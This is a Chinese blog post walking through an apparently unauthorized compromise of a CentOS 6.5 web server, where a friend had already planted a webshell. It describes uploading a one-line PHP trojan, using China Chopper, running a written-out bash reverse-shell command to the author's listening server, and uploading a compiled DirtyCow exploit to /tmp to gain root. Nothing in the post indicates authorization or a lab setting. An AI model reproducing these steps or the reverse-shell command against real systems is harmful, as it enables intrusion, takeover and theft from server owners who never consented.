DirtyCow(脏牛)漏洞之实战

这篇文章是小伙伴拿下了webshell,但因为是Linux服务器,一直提不了权,于是叫我看看。我通过DirtyCow(脏牛)漏洞拿到了管理员权限,由于是第一次接触DirtyCow(脏牛)漏洞,所以记录下了这篇文章。

webshell执行命令

  • 首先通过已有的大马webshell执行命令,发现执行失败
    Alt 图1

  • 写个一句话木马进去,再尝试用菜刀执行命令
    Alt 图2

  • 可以看到菜刀也不能执行命令,但是菜刀返回了服务器的内核版本和系统位数,搜索了一下,应该是centos6.5,本地机器显示的信息也证明了这一点
    Alt 图3

  • 搜索了菜刀不能执行命令,根据资料构造了一个php文件,通过菜刀上传了上去,发现果然能执行命令,并且系统版本的确是centos6.5
    Alt 图4

  • 通过webshell查看当前权限,发现当前权限为www用户的权限,很多命令都不能执行
    Alt 图5

反弹shell

因为脏牛漏洞利用需要一个持续保持连接的shell,所以需要反弹一个shell

  • 首先在自己的外网服务器用nc监听6666端口
    Alt 图6

  • 然后在webshell上执行反弹shell命令
    Alt 图7

    1
     bash -i >& /dev/tcp/x.x.x.x/6666 0>&1         # 其中x.x.x.x是自己nc监听的服务器地址
  • 执行命令之后,外网服务器获得一个shell
    Alt 图8

提权

有了稳定的shell之后,就可以开始尝试提权了,这里提权的exp建议在本地编译,因为目标机上www权限可能没权限执行gcc命令

  • 本地编译测试
    Alt 图9

  • 上传到目标机器上提权(需要上传到/tmp/目录下,因为/tmp/目录下有执行权限) Alt 图10

  • 提权成功后,通过firefart账户登录,然后查看权限可看到是root权限
    Alt 图11

END

参考链接:
菜刀不能执行命令解决方法:https://www.webshell.cc/5328.html
LINUX下反弹SHELL的种种方式:https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html
利用脏牛漏洞详细提权过程:http://zone.secevery.com/article/846